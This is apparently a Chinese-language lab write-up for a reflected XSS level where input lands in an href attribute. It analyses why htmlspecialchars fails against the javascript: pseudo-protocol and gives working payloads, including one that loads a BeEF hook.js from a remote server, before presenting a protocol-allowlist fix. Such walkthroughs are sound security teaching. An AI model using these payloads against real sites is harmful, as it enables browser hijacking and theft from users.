1. 核心考点
- JavaScript 伪协议:理解
javascript:协议在 URL 属性(如href,src)中的执行能力。 - 过滤函数的局限性:理解
htmlspecialchars只能过滤特定字符,无法过滤“协议”或“语义”。 - HTML 实体解码特性:理解浏览器在执行 href 中的 JS 之前,会先进行 HTML 实体解码,导致转义失效。
2. 源码分析
查看关键后端代码:
if(isset($_GET['submit'])){
// ... 省略前面的判断...
else {
// 关键点:// 1. 输出位置在 <a href="..."> 内部
// 2. 使用了 htmlspecialchars 并且开启了 ENT_QUOTES
// 这意味着: ',", <, >, & 都会被转义
$message=htmlspecialchars($_GET['message'],ENT_QUOTES);
$html.="<a href='{$message}'> 阁下自己输入的 url 还请自己点一下吧 </a>";
}
}
分析结论:
- 防御看似严格:使用了
ENT_QUOTES,这意味着我们在上一关用的单引号闭合'onclick='大法失效了,因为'会变成',无法闭合href属性。 - 上下文漏洞:虽然无法闭合属性,但我们依然在
href属性内部。<a>标签的href属性支持javascript:伪协议。 - 语义未过滤:
htmlspecialchars只负责转义字符,不负责检查字符串的“意义”。它不会阻止以javascript:开头的字符串。
3. 漏洞复现
3.1 基础测试 (弹窗)
我们不需要闭合引号,直接利用协议执行 JS。
输入:
javascript:alert('xss')
后端处理后的 HTML(源码):
由于有 ENT_QUOTES,单引号被转义:
<a href='javascript:alert('xss')'> 阁下自己输入的 url 还请自己点一下吧 </a>

执行结果:点击链接,成功弹窗。

为什么转义了还能执行?
这是一个非常重要的知识点:HTML 实体解码顺序。
- 浏览器渲染页面时,读取
href属性的值。 - 浏览器发现里面包含 HTML 实体(
'),于是先将其 解码 回单引号'。 - 解码后,浏览器解析协议,发现是
javascript:。 - JS 引擎执行解码后的代码:
javascript:alert('xss')。
所以,这里的转义反而被浏览器的自动解码给“抵消”了。
3.2 进阶:注入 BeEF Hook
目标:构建一个 <script> 标签并加载远程 JS。
Payload 构造:
javascript:var s=document.createElement('script');s.src='http://localhost:3000/hook.js';document.body.appendChild(s);
(注:实战或虚拟机环境中,请将 localhost 替换为 BeEF 服务器的真实 IP,如 192.168.x.x)
操作步骤:
- 将上述 Payload 填入输入框。
- 点击“提交”。
- 点击页面上生成的文字链接“阁下自己输入的 url 还请自己点一下吧”。
- 观察 Network 请求或 BeEF 后台,发现 hook.js 加载成功。


4. 防御措施
对于输出在 URL 属性(如 href, src)的情况,单纯的字符转义是不够的。
正确的防御方案:
- 协议白名单过滤:必须检查用户输入的开头是否为安全的协议(如
http://或https://)。如果不是,则禁止输出或强制添加前缀。 - URL 编码:在输出前进行 URL 编码(但需注意不要把协议头破坏了,通常配合白名单使用)。
安全代码示例:
$url = $_GET['message'];
// 简单的白名单检查
if (strpos($url, 'http://') === 0 || strpos($url, 'https://') === 0) {
// 依然要进行转义防止闭合引号
$safe_url = htmlspecialchars($url, ENT_QUOTES);
echo "<a href='{$safe_url}'> 跳转 </a>";
} else {echo "非法链接";}
正文完